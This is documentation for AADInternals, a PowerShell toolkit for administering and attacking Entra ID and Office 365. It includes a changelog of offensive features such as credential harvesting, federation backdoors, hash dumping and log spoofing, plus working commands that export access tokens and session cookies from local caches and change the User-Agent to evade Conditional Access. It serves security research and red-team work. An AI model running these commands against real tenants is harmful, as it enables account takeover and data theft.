Documentation
Introduction
AADInternals and AADInternals-Endpoints toolkits are PowerShell modules containing tools for administering and hacking Entra ID (ex. Azure AD), Office 365, and Entra ID related endpoints. It is listed in MITRE ATT&CK with id S0677.
Installation
Current version
Since version 0.9.6, AADInternals has two modules: AADInternals and AADInternals-Endpoints. The latter one contains all functionality that deals with endpoints, such as, Entra ID joined devices, AD FS server, Entra ID Connect server, computer running PTA agent etc. Functions flagged with 😈 symbol are in this module.
The modules can be installed from PowerShell:
# Install the module
Install-Module -Name "AADInternals"
Install-Module -Name "AADInternals-Endpoints"
# Import modules
Import-Module -Name "AADInternals"
Import-Module -Name "AADInternals-Endpoints"Output:
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v0.9.7 by @DrAzureAD (Nestori Syynimaa)
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/ ___ |/ ___ |/ /_/ _/ // / / / /_/ __/ / / / / / /_/ / (__ )
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For Endpoints 😈
v0.9.6 by @DrAzureAD (Nestori Syynimaa)
Previous versions
You may also install a specific version to use removed features.
To use “the old” interactive authentication, install version 0.8.4:
# Install the version 0.8.4
Install-Module -Name "AADInternals" -RequiredVersion "0.8.4" -Force
# Import the module
Import-Module -Name "AADInternals" -RequiredVersion "0.8.4" To use PTASpy, install version 0.9.3:
# Install the version 0.9.3
Install-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
# Import the module
Import-Module -Name "AADInternals" -RequiredVersion "0.9.3" The modules are also available in GitHub and PowerShell gallery
| Module | GitHub | PowerShell Gallery |
|---|---|---|
| AADInternals | https://github.com/Gerenios/AADInternals | Link |
| AADInternals-Endpoints | https://github.com/Gerenios/AADInternals-Endpoints | Link |
About
AAD Internals is a PowerShell module where I’ve tried to put all the knowledge I’ve gained during the years spent with Office 365 and Entra ID. It is a result of hours of reverse-engineering and debugging of Microsoft tools related to Entra ID, such as PowerShell modules, directory synchronisation, and admin portals.
The module is a plain PowerShell script module, so you can copy and paste the code to your own scripts as needed. Having said that, the are some functions that are utilising the built-in functionality of Windows. Thus, everything might not work on every computer.
I haven’t tried to duplicate all functionality MSOnline, AzureAD, or MS Graph modules currently have. Instead, I decided to bring that information and functionality those modules doesn’t provide. Also, I have created some “blackhat” level functionality that allows administrators to do things that shouldn’t be even possible..
Detailed help about parameters etc. can be seen using PowerShell Get-Help cmdlet:
# See help for Get-AADIntAccessTokenForAADGraph
Get-Help Get-AADIntAccessTokenForAADGraphVersion info
| Version | Date | Version notes |
|---|---|---|
| 0.9.7 | Dec 13th 2024 | Renamed Get‑AADIntESTSAUTHCookies to Get‑AADIntESTSAUTHCookie and added -Persistent switch to get ESTSAUTHPERSISTENT cookie. Removed Get-AADIntComplianceCookies and changed Search‑AADIntUnifiedAuditLog to use access token. |
| 0.9.6 | Dec 10th 2024 | Splitted the module in two (see blog post). Added support for ESTSAUTH cookies to Get‑AADIntAccessToken. Added Remove‑AADIntUserFromEstsAuthPersistentCookie. Added Get‑AADIntAppConsentInfo to show information about given application. Added Find‑AADIntBackdoor to find federated domains that were converted to backdoors with ConvertTo‑AADIntBackdoor. Added Convert‑AADIntObjectIDtoSID and Convert‑AADIntSIDtoObjectID to convert between Entra ID SID and ObjectID. Added Get-AADIntDynamicAbusableGroups to find groups with dynamic membership rule that have user modifiable attributes. Added Export‑AADIntLocalDeviceMDMCertificate for exporting Intune certificate of the device. Moved CloudAP support from Get‑AADIntUserPRTKeys to Get‑AADIntUserPRTKeysFromCloudAP. Added Get‑AADIntESTSAUTHCookies for getting ESTSAUTH and ESTSAUTHPERSISTENT cookies to be used for authentication with Get‑AADIntAccessToken. Added Invoke‑AADIntScriptAs to run PowerShell scripts as system or other users. |
| 0.9.4 | Jul 30th 2024 | Added support for Entra ID sub regions (DOD & GCC High) to Invoke‑AADIntReconAsOutsider and Invoke‑AADIntUserEnumerationAsOutsider. Added Get‑AADIntTeamsExternalUserInformation to get external Teams user information. Allows getting User Principal Name with Entra ID User ObjectID. Added support for federated sign-in (ADFS only). Removed PTASpy to prevent antivirus blocking AADInternals installation on non-PTA computers. Lot of bug fixes. Added -SaveToMgCache switch to Get‑AADIntAccessTokenForMSGraph to ease using Microsoft Graph PowerShell SDK commands. You can now use AADInternals interactive authentication using the built-in first-party app “Azure Active Directory PowerShell”. |
| 0.9.3 | Jan 14th 2024 | Added Test‑AADIntSARAPort and Resolve‑AADIntSARAHost. Added Get‑AADIntB2CEncryptionKeys to export B2C token encryption keys, and New‑AADIntB2CRefreshToken & New‑AADIntB2CAuthorizationCode to exploit them. Added Get‑AADIntAzureADFeatures, Get‑AADIntAzureADFeature, and Set‑AADIntAzureADFeature for listing and modifying Azure AD/Entra ID features. Added Add‑AADIntSyncFabricServicePrincipal for adding a missing Microsoft.Azure.SyncFabric service principal if BPRT creation fails. Modified ConvertTo‑AADIntBackdoor to add backdoor certificate to NextSigningCertificate if the domain is already federated. Added Install‑AADIntForceNTHash, Remove‑AADIntForceNTHash, and Initialize‑AADIntFullPasswordSync. |
| 0.9.2 | Oct 2nd 2023 | “TI Summit edition”. Added support for external SQLExpress database to Get‑AADIntSyncCredentials. When using -Credential switch to get access token, ROPC flow is tried first. If it fails (due to MFA etc.), interactive authentication is used. Added DKIM and MTA-STS to Invoke‑AADIntReconAsOutsider. |
| 0.9.1 | Aug 15th 2023 | “DEFCON31 edition”. Added Get‑AADIntMyTeams to show user’s teams. Added Export‑AADIntSPOSiteFile to export files from SPO (and Teams & OneDrive). Added Add‑AADIntSPOSiteFiles to spoof SPO files (modify user and timestamps) using SPMT protocol (bypasses logging). Added Update‑AADIntSPOSiteFiles to tamper with existing SPO files (modify content, user and timestamps) using SPMT protocol (bypasses logging). |
| 0.9.0 | Jun 29th 2023 | “TROOPERS23 edition”. Totally redesigned authentication and added support for PS7 - expect 🪲 to be found. Interactive login works now entirely in CMD line (no pop-up windows). Does automatic MFA if TAP or OTPSecretKey provided (and available for user)🔥 Added configuration functions to store settings and set User-Agent. Added Set‑AADIntDeviceWHfBKey to set Windows Hello for Business key as MFA method to the given user. Added Get‑AADIntUserNTHash for dumping NTHashes from Azure AD. Updated Set‑AADIntUserPassword to support custom encryption certificate. Added -CloudAP switch to Get‑AADIntUserPRTKeys for getting PRT and Session key using user’s credentials. |
| 0.8.2 | May 15th 2023 | “Black Hat Asia 2023 edition”. Added Access Package functions to list Access Packages, Access Package Catalogs, and Access Package administrators. Refactored token cache and added automatic FOCI client handling. |
| 0.8.1 | Apr 4th 2023 | Added Set‑AADIntAzureADGroupMember to modify members of synchronised groups. Updated Get‑AADIntSyncCredentials to use a background process (doesn’t elevate the current PS session). Updated Set‑AADIntUserPassword: -IncludeLegacy switch synchronises also legacy NTHash to Azure AD which will be synchronised to Azure AD Domain Services (AADDS) DCs. Added DisplayName parameter to Set‑AADIntAzureADPolicyDetails. Updated Invoke‑AADIntReconAsOutsider to show tenant’s Microsoft Defender for Identity (MDI) instance. Added new authentication endpoint (RST2) to Invoke‑AADIntUserEnumerationAsOutsider. Updated Invoke‑AADIntReconAsInsider to show tenant’s Azure AD SKU. |
| 0.8.0 | Nov 28th 2022 | “BSides Orlando 2022 edition”. Added Get‑AADIntAccessTokenUsingIMDS to get access tokens using Azure Instance Metadata Service (IMDS) for VM’s using managed identities. Added New‑AADIntMOERADomain to add new Microsoft Online Email Routing Address (MOERA) domain (.onmicrosoft.com) to the tenant. Added Get‑AADIntAzureADPolicies and Set‑AADIntAzureADPolicyDetails. |
| 0.7.8 | Nov 4th 2022 | “Def.Camp 2022 edition”. Moved bootstrap export functionality from Export‑AADIntProxyAgentCertificates to separate function Export‑AADIntProxyAgentBootstraps due to permission issues. |
| 0.7.7 | Oct 21th 2022 | Updated Export‑AADIntTokenBrokerTokens to support TBRES files with version number 2. |
| 0.7.6 | Oct 20th 2022 | Added missing TBRES.ps1 |
| 0.7.5 | Oct 20th 2022 | Added Export‑AADIntTokenBrokerTokens. Updated Export‑AADIntTeamsTokens to support the updated schema. Updated cache logic: If ClientId+Resource combination is not found from the cache, it uses the first entry with the same resource (regardless of the ClientId). This helps on using the exported tokens 😉 |
| 0.7.4 | Oct 17th 2022 | Fixed various functions using internal Set-BinaryContent function. Updated Invoke‑AADIntReconAsOutsider to include Tenant region. |
| 0.7.3 | Oct 1st 2022 | Fixed Set‑AADIntSPOSiteMembers merge issues. |
| 0.7.2 | Oct 1st 2022 | Added Export‑AADIntAzureCliTokens and Export‑AADIntTeamsTokens. Added Get‑AADIntTenantDomain to get domain name using tenant id. Added -GetRelayingParties switch to Invoke‑AADIntReconAsOutsider to extract Relaying Trust parties from the AD FS server. Added Set‑AADIntSPOSiteMembers. |
| 0.7.1 | Sep 16th 2022 | More bug fixes. |
| 0.7.0 | Sep 9th 2022 | Bug fixes. |
| 0.6.9 | Sep 8th 2022 | Added functionality to add tokens to cache, added gMSA support and account lookup to Get‑AADIntLSASecrets. Updated Export‑AADIntADFSCertificates: Exports also custom certificates (not stored in config db). “Local export” now uses a service running as AD FS service account to fetch DKM decryption key from AD. Added proof-of-concept CBA functionality. Added CBA information to Invoke‑AADIntReconAsOutsider. Added Export‑AADIntProxyAgentCertificates to export PTA & provisioning agent certificates. Fixed Set‑AADIntPTACertificate. Exposed Get-AADIntAccessToken and Get‑AADIntAccessTokenWithRefreshToken 😱 Added -UpdateTrust option to Register-AADIntPTAAgent and Register‑AADIntSyncAgent for renewing certificates. Added functionality to add tokens to cache, added gMSA support and account lookup to Get‑AADIntLSASecrets. Updated Export‑AADIntADFSCertificates: Exports also custom certificates (not stored in config db). “Local export” now uses a service running as AD FS service account to fetch DKM decryption key from AD. Added proof-of-concept CBA functionality. Added CBA information to Invoke‑AADIntReconAsOutsider. Added Export‑AADIntProxyAgentCertificates to export PTA & provisioning agent certificates. Fixed Set‑AADIntPTACertificate. Exposed Get-AADIntAccessToken and Get‑AADIntAccessTokenWithRefreshToken 😱 Added -UpdateTrust option to Register-AADIntPTAAgent and Register‑AADIntSyncAgent for renewing certificates. |
| 0.6.8 | Jun 3rd 2022 | Added functionality to unprotect ESTSAUTHPERSISTENT cookie. |
| 0.6.7 | Jun 3rd 2022 | Added functionality to list and modify sync features. Removed Get-PassThroughAuthenticationStatus and Invoke-AADIntPTAAgent. Added: Find-AADIntTeamsExternalUser for getting user’s Teams information (including Azure AD object id), Get-TeamsAvailability for getting user’s Teams availability information, Get-AADIntTranslation for translating any text to specified language, Get-AADIntTeanantOrganisationInformation for getting tenant information using tenantid (includes tenant name), and Start-AADIntSpeech for speaking out the given text. |
| 0.6.6 | Feb 15th 2022 | Added functionality to export the device certificate and transport keys of Azure AD Joined and Registered devices. Added functionality to configure (i.e. “join”) Windows devices using AADInternals generated or exported certificates. Added functionality to set proxy settings to help MITM. Added Find-AADIntMSPartner. |
| 0.6.5 | Dec 13th 2021 | Added MSPartner functionality & included in Invoke-AADIntReconAsInsider. Added functions for creating and decoding AD FS refresh tokens. Added some utilities + bug fixes. |
| 0.6.4 | Sep 21st 2021 | “Commsverse edition”. Bug fix for loading System.Xml.XmlDictionary. |
| 0.6.3 | Sep 15th 2021 | “Commsverse edition”. Minor bug fixes for Teams and access token functions. |
| 0.6.2 | Sep 1st 2021 | Added Search-AADIntUnifiedAuditLog function! Added Set-AADIntSelfServicePurchaseProduct for enabling and disabling self-service product purchases. Updated Register-AADIntMFAApp to support OTP registration. Added Open-AADIntOWA for opening OWA using provided access token. |
| 0.6.1 | Aug 26th 2021 | “HelSec edition”. Bug fix to Get-AADIntAzureDirectoryActivityLog function. |
| 0.6.0 | Aug 26th 2021 | “HelSec edition”. Decreased the module loading time by using .psd1 and .psm1 in a way they were meant to. Added Get-AADIntAzureDirectoryActivityLog function. |
| 0.5.0 | Aug 23rd 2021 | Added hybrid health functionality allowing spoofing Azure AD sign-ins log. Fixed a bug getting access tokens with kerberos tickets. Yet another new enumeration method for Invoke-AADIntUserEnumerationAsOutsider! |
| 0.4.9 | Jun 30th 2021 | Updated Invoke-AADIntUserEnumerationAsOutsider (new enumeration method) and Get-AADIntSyncCredentials (support for multiple forests). Bug fixes for MFA apps, Azure AD Join and OneDrive. |
| 0.4.8 | May 11th 2021 | “Teams Nation edition”. Fixed Send-AADIntTeamsMessage. Added AD FS policy store rule modification functionality. |
| 0.4.7 | Apr 27th 2021 | Refactored Kerberos and AD FS certificate export functionality. Added remote AD FS configuration export. Added some DRS functionality from DSInternals. |
| 0.4.6 | Mar 3rd 2021 | Added Azure AD register and Hybrid Join by federation functionality and some smaller improvements. Fixed access token for MySigns. Updated AD FS certificate export function. PRT can now be fetched with cached refresh token instead of credentials. Updated SAML token signatures to SHA256. |
| 0.4.5 | Jan 31st 2021 | Added BPRT (bulk PRT) and Hybrid Join functionality. Added functionality for handing Rollout Policies, Azure Diagnostic Settings, and Unified Audit Log Settings. |
| 0.4.4 | Oct 18th 2020 | “Cloud Identity Summit 2020 edition”. Added device code authentication support access token functions (-UseDeviceCode). Added phishing functionality. Added -GetNonce switch for New-AADIntUserPRTToken. Added Teams functionality. |
| 0.4.3 | Sep 29th 2020 | Added Azure Cloud Shell functionality + updates to PRT/MDM. |
| 0.4.2 | Sep 9th 2020 | Added MDM functionality. |
| 0.4.1 | Sep 1st 2020 | Added functionality for joining “devices” to Azure AD and Intune MDM. Added PRT functionality. Some bug fixes. |
| 0.4.0 | Aug 6th 2020 | Updated the Access Token cache behaviour. Now, when saved to cache, access token gets updated automatically if expired. Added functionality for getting Azure AD tenant information and enumerating users as a an outsider, guest, and insider user. |
| 0.3.3 | Jun 3rd 2020 | Added functionality for elevating Global Admin to Azure User Access Administrator and functions for accessing some Azure workloads 😁 |
| 0.3.2 | May 28th 2020 | “psconf.eu edition”. Bug fixes and some minor feature updates to existing functions. |
| 0.3.1 | May 17th 2020 | Added functionality for registering Sync agents (Azure AD Connect cloud provisioning) and listing agent information. Fixed exporting Azure AD Connect credentials and added many AD related Mimikatz-like functions. |
| 0.2.8 | Mar 30th 2020 | Added functionality for registering PTA Agents and configuring users’ MFA settings. Includes an experimental PTA Agent that emulates Azure AD pass-through authentication. |
| 0.2.7 | Dec 12th 2019 | “Black Hat Europe edition”. Added OneDrive for Business functions. Allows bypassing OneDrive (and SharePoint & Teams) domain restrictions. |
| 0.2.6 | Oct 30th 2019 | “T2 infosec edition”. Added Kerberos support. Allows getting Access Tokens using Kerberos tickets, and using Seamless Single-Sign-On as backdoor. |
| 0.2.5 | Aug 16th 2019 | ADFS certificate export finally working! Bug fixes. |
| 0.2.4 | Aug 2nd 2019 | “Black Hat edition”. Added client, SPO, and SARA functions, several bug fixes. |
| 0.2.3 | May 29th 2019 | Added functions to manipulate ADFS token signing certificates. |
| 0.2.2 | May 22nd 2019 | Added PTASpy (pass-through authentication credential harvester and backdoor). |
| 0.1.8 | May 17th 2019 | Added functions to extract and reset Azure AD Connect credentials. |
| 0.1.7 | May 10th 2019 | Added Exchange Online and Outlook functionality + loads of other updates. |
| 0.1.1 | Oct 25th 2018 | The first beta release. |
Configuration
Since version 0.9.0, AADInternals has a config.json file for storing persistent settings. The file is located in AADInternals module folder:
# Get AADInternals module folder
Get-Module AADInternals | select -ExpandProperty PathC:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.0\AADInternals.psm1
Read-AADIntConfiguration
Loads AADInternals settings from config.json. All changes made after loading AADInternals module will be lost.
# Read settings from config.json
Read-AADIntConfigurationSave-AADIntConfiguration
Saves the current AADInternals settings to config.json. Settings will be loaded when AADInternals module is loaded.
# Save settings to config.json
Save-AADIntConfigurationSettings saved.
Get-AADIntConfiguration
Shows AADInternals settings
# Show current settings
Get-AADIntConfigurationName Value
---- -----
SecurityProtocol Tls12
User-Agent AADInternals
Set-AADIntSetting
Sets the given setting with given value
# Add a custom User-Agent
Set-AADIntSetting -Setting "User-Agent" -Value "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"Set-AADIntUserAgent
Sets a pre configured User-Agent for a specific device that AADInternals will use in requests. Supported devices: ‘Windows’,‘MacOS’,‘Linux’,‘iOS’,‘Android’. To persist, use Save-AADIntConfiguration after setting the User-Agent.
Using different User-Agents may help evading Conditional Access policies 😉
# Use Windows User-Agent
Set-AADIntUserAgent -Device WindowsFunctionality
Playing with access tokens
Get-AADIntAccessTokenFor<Service>
Most of the functions are using REST APIs which require OAuth access tokens. The AADInternals module is using the following types of access tokens. Since version 0.4.0, all tokens are cached if -SaveToCache switch is used. If expired, cached tokens are automatically renewed with the corresponding refresh token.
| Token/API | Function | Remarks |
|---|---|---|
| AAD Graph | Get-AADIntAccessTokenForAADGraph | Functions using AAD Graph access token. |
| MS Graph | Get-AADIntAccessTokenForMSGraph | Functions using MS Graph access token. |
| Pass Through Authentication | Get-AADIntAccessTokenForPTA | Used when enabling/disabling PTA and Seamless SSO (Desktop SSO) |
| Azure Admin Portal | Get-AADIntAccessTokenForAADIAMAPI | Used when inviting guest users. |
| Exchange Online | Get-AADIntAccessTokenForEXO | Used with Exchange Online and ActiveSync functions |
| Support and Recovery Assistant | Get-AADIntAccessTokenForSARA | Used with Support and Recovery Assistant functions |
| SharePoint Online | Get-AADIntSPOAuthenticationHeader | Used with SharePoint Online functions |
| OneDrive for Business | New-AADIntOneDriveSettings | Used with OneDrive for Business functions |
| Azure Core Management | Get-AADIntAccessTokenForAzureCoreManagemnt | Used with Azure Core Management functions |
| Azure AD Join | Get-AADIntAccessTokenForAADJoin | Used with Azure AD join function |
| Azure Intune MD | Get-AADIntAccessTokenForIntuneMDM | Used with Intune MDM functions |
| Azure Cloud Shell | Get-AADIntAccessTokenForCloudShell | Used with Azure Cloud Shell |
| Microsoft Compliance | Get-AADIntAccessTokenForCompliance | Used with compliance API |
To get an AAD Graph access token and save it to cache, run the following function. The token will be valid for an hour, after that, a new access token is fetched using the refresh token.
# Prompt for credentials and retrieve & store access token to cache
Get-AADIntAccessTokenForAADGraph -SaveToCacheTo see the cached credentials:
# Show the cached credentials
Get-AADIntCacheName : admin@company.com
ClientId : d3590ed6-52b3-4102-aeff-aad2292ab01c
Audience : https://management.core.windows.net
Tenant : 2b55c1c4-ba18-46d0-9a7a-7a75b9493dbd
IsExpired : False
HasRefreshToken : True
Name : admin@company.com
ClientId : 1b730954-1685-4b74-9bfd-dac224a7b894
Audience : https://graph.windows.net
Tenant : 2b55c1c4-ba18-46d0-9a7a-7a75b9493dbd
IsExpired : False
HasRefreshToken : True
Get-AADIntAccessToken
This is an internal utility function used by all Get-AADIntAccessTokenFor<service> functions. Exposed in version 0.6.9.
Gets OAuth Access Token for the given client and resource. Using the given authentication method. If not provided, uses interactive logon.
Example 1:
# Get access token for MS Graph API for "Microsoft Office" client using interactive login
$at=Get-AADIntAccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://graph.microsoft.com" Example 2:
# Get access token and refresh token for MS Graph API for "Microsoft Office" client using interactive login and save to cache
$at=Get-AADIntAccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://graph.microsoft.com" AccessToken saved to cache.
Tenant : 9779e97e-de19-45be-87ab-a7ed3e86fa62
User : user@company.com
Resource : https://graph.microsoft.com
Client : d3590ed6-52b3-4102-aeff-aad2292ab01c
Get-AADIntAccessTokenWithRefreshToken
This is an internal utility function used to renew access tokens. Exposed in version 0.6.9.
Gets OAuth Access Token for the given client and resource using the given refresh token. For FOCI refresh tokens, i.e.,Family Refresh Tokens (FRTs), you can use any FOCI client id.
Example:
# Get access token and refresh token for MS Graph API for "Microsoft Office" client using interactive login
$tokens=Get-AADIntAccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://graph.microsoft.com" -IncludeRefreshToken $true
# Get access token for AAD Graph API for "Teams" client.
$at=Get-AADIntAccessTokenWithRefreshToken -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -Resource "https://graph.windows.net" -TenantId "contoso.azurelabs.online" -RefreshToken $tokens[1]
# Dump the token
Read-AADIntAccesstoken $atOutput:
aud : https://graph.windows.net
iss : https://sts.windows.net/9779e97e-de19-45be-87ab-a7ed3e86fa62/
iat : 1662455333
nbf : 1662455333
exp : 1662460717
acr : 1
aio : ATQAy/8TAAAAeOTMVmaomZFyHLApXlzZNnWkLLuRB/9yBsfn0Qp7GzMtntUBwQN6byqsy9RwHUK8
amr : {pwd}
appid : 1fec8e78-bce4-4aaf-ab1b-5451cc387264
appidacr : 0
family_name : User
given_name : Sample
ipaddr : 1.143.35.120
name : Sample User
oid : 47bd560e-fd5e-42c5-b51b-ce963892805f
onprem_sid : S-1-5-21-2918793985-2280761178-2512057791-1151
puid : 10032[redacted]
rh : 0.AXkAnZT_xZYmaEueEwVfGe0tUQIAAAAAAAAAwAAAAAAAAAB5AOw.
scp : UserProfile.Read
sub : DWAJiCPnQQkiJP_qBKOf9MX4p0YqJ5Yd0aUyovzlRR0
tenant_region_scope : EU
tid : 9779e97e-de19-45be-87ab-a7ed3e86fa62
unique_name : user@company.com
upn : user@company.com
uti : 78SP1JP-wEWN5AgCCcDWAA
ver : 1.0
Export-AADIntAzureCliTokens
Since version 0.7.2 😈
Exports Azure CLI access tokens from the msal_token_cache.bin cache. On Windows, msal_token_cache.bin is a json file protected with DPAPI in LocalUser context.
Example 1:
# Export Azure CLI tokens
Export-AADIntAzureCliTokensOutput 1:
Users: user@company.com,user2@company.com
UserName access_token
-------- ------------
user@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
user@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
user2@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
user2@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
Example 2:
# Export Azure CLI tokens, add them to cache and copy to clipboard
Export-AADIntAzureCliTokens -AddToCache -CopyToClipboardOutput 2:
Users: user@company.com,user2@company.com
4 access tokens added to cache
4 access tokens copied to clipboard
Export-AADIntTeamsTokens
Since version 0.7.2 😈
Exports Teams tokens from the provided Cookie database, or from current user’s local database. The Teams Cookies database is SQLite database.
Example 1:
# Export Teams tokens
Export-AADIntTeamsTokensOutput 1:
Name Value
---- -----
office_access_token eyJ0eXAiOiJKV1QiLCJub25jZSI6InlsUjJWRmp4SWFqeVVqeklZa3R...
skypetoken_asm eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNiIsIng1dCI6Im9QMWFxQnl...
authtoken eyJ0eXAiOiJKV1QiLCJub25jZSI6InpsUFY2bnRCUDR5NTFLTkNQR2l...
SSOAUTHCOOKIE eyJ0eXAiOiJKV1QiLCJub25jZSI6Ik5sbHJiaFlzYl9rVnU3VzVSa01...
Example 2:
# Export Teams tokens from the given file
Export-AADIntTeamsTokens -CookieDatabase C:\Cookies Output 2:
User: user@company.com
Name Value
---- -----
office_access_token eyJ0eXAiOiJKV1QiLCJub25jZSI6InlsUjJWRmp4SWFqeVVqeklZa3R...
skypetoken_asm eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNiIsIng1dCI6Im9QMWFxQnl...
authtoken eyJ0eXAiOiJKV1QiLCJub25jZSI6InpsUFY2bnRCUDR5NTFLTkNQR2l...
SSOAUTHCOOKIE eyJ0eXAiOiJKV1QiLCJub25jZSI6Ik5sbHJiaFlzYl9rVnU3VzVSa01...
Example 3:
# Add Teams tokens to AADInt token cache
Export-AADIntTeamsTokens -AddToCache
# Get Teams messages
Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayNameOutput 3:
User: user@company.com
3 access tokens added to cache
Id Content DeletionTime MessageType Type DisplayName
-- ------- ------------ ----------- ---- -----------
1602842299338 1602846853687 RichText/Html MessageUpdate Bad User
1602844861358 1602858789696 RichText/Html MessageUpdate Bad User
1602846167606 1602858792943 Text MessageUpdate Bad User
1602846853687 1602858795517 Text MessageUpdate Bad User
1602833251951 1602833251951 Text MessageUpdate Bad User
1602833198442 1602833198442 Text MessageUpdate Bad User
1602859223294 Hola User! Text NewMessage Bad User
1602859423019 Hi User! Text NewMessage Bad User
1602859423019 Hi User! Text MessageUpdate Bad User
1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User
1602859484420 Hey User! Text NewMessage Bad User
1602859528028 Hy User! Text NewMessage Bad User
1602859484420 Hey User! Text MessageUpdate Bad User
1602859590916 Hi User! Text NewMessage Bad User
Export-AADIntTokenBrokerTokens
Since version 0.7.5 😈
Exports access tokens from the Token Broker cache.
Example 1:
# Export tokens from Token Broker cache
Export-AADIntTokenBrokerTokensOutput 1:
Users: user@company.com,user2@company.com
UserName access_token
-------- ------------
user@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
user@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
user2@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
user2@company.com eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx...
Example 2:
# Add tokens from Token Broker cache to AADInt token cache
Export-AADIntTokenBrokerTokens -AddToCache
# Get Teams messages
Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayNameOutput 2:
Users: user@company.com,user2@company.com
3 access tokens added to cache
Id Content DeletionTime MessageType Type DisplayName
-- ------- ------------ ----------- ---- -----------
1602842299338 1602846853687 RichText/Html MessageUpdate Bad User
1602844861358 1602858789696 RichText/Html MessageUpdate Bad User
1602846167606 1602858792943 Text MessageUpdate Bad User
1602846853687 1602858795517 Text MessageUpdate Bad User
1602833251951 1602833251951 Text MessageUpdate Bad User
1602833198442 1602833198442 Text MessageUpdate Bad User
1602859223294 Hola User! Text NewMessage Bad User
1602859423019 Hi User! Text NewMessage Bad User
1602859423019 Hi User! Text MessageUpdate Bad User
1602859473083 <div><div>Hi User!</div></div> RichText/Html NewMessage Bad User
1602859484420 Hey User! Text NewMessage Bad User
1602859528028 Hy User! Text NewMessage Bad User
1602859484420 Hey User! Text MessageUpdate Bad User
1602859590916 Hi User! Text NewMessage Bad User
Get-AADIntAccessTokenUsingIMDS
Since version 0.8.0
Gets access token using Azure Instance Metadata Service (IMDS). The ClientId of the token is the (Enterprise) Application ID of the managed identity.
Example:
# Get access token and add to cache
Get-AADIntAccessTokenUsingIMDS -Resource https://management.core.windows.net | Add-AADIntAccessTokenToCacheName :
ClientId : 686d728a-2838-458d-9038-2d9808781b9a
Audience : https://management.core.windows.net
Tenant : ef35ef41-6e54-43f8-bdf0-b89827a3a991
IsExpired : False
HasRefreshToken : False
AuthMethods :
Device :
# List subscriptions using the cached managed identity
Get-AADIntAzureSubscriptionssubscriptionId displayName state
-------------- ----------- -----
233cd967-f2d4-41eb-897a-47ac77c7393d Production Enabled
Get-AADIntESTSAUTHCookie
Since version 0.9.7
Returns ESTSAUTH or ESTSAUTHPERSISTENT cookie
Example 1:
# Get ESTSAUTH cookie
$ESTSAUTH = Get-AADIntESTSAUTHCookie
# Get access token using ESTSAUTH cookie
Get-AADIntAccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" -ESTSAUTH $ESTSAUTHExample 2:
# Get ESTSAUTHPERSISTENT cookie
$ESTSAUTH = Get-AADIntESTSAUTHCookie -Persistent
# Get access token using ESTSAUTHPERSISTENT cookie
Get-AADIntAccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" -ESTSAUTH $ESTSAUTHExample 3:
# Get ESTSAUTHPERSISTENT cookie and force MFA
$ESTSAUTH = Get-AADIntESTSAUTHCookie -Persistent -ForceMFA
# Get access token using ESTSAUTHPERSISTENT cookie
Get-AADIntAccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" -ESTSAUTH $ESTSAUTHToken cache
Token cache allows calling AADInternals functions without providing access token. If access token is not provided, AADInternals tries to get access token from the cache.
AADInternals will return the first token it finds using the following steps:
- Does access token with matching ClientId & Resource exist in cache?
- Does access token with any ClientId and matching Resource exist in cache?
- If required ClientId is FOCI client:
- Does refresh token of any FOCI client exist in cache?
- Get access token for desired ClientId and Resource using FOCI client refresh token
Note: There can be access tokens for multiple users and tenants in the cache. To make sure you are using a proper access token clear the cache always when changing user and/or tenant!
To see the cache:
# Show credentials cache
Get-AADIntCacheName ClientId Audience Tenant IsExpired HasRefreshToken
---- -------- -------- ------ --------- ---------------
admin@company.com 1b730954-1685-4b74-9bfd-dac224a7b894 https://graph.windows.net 82205ae4-4c4e-4db5-890c-cb5e5a98d7a3 False True
To clear the cache:
# Clear credentials cache
Clear-AADIntCacheTo add tokens to cache (refresh token optional):
# Add access token to cache
Add-AADIntAccessTokenToCache -AccessToken "eyJ0eXAiOiJKV..." -RefreshToken "0.AXkAnZT_xZYmaEueEwVfGe..."Name ClientId Audience Tenant IsExpired HasRefreshToken
---- -------- -------- ------ --------- ---------------
admin@company.com 1b730954-1685-4b74-9bfd-dac224a7b894 https://graph.windows.net 82205ae4-4c4e-4db5-890c-cb5e5a98d7a3 False True
Tenant information and manipulation functions
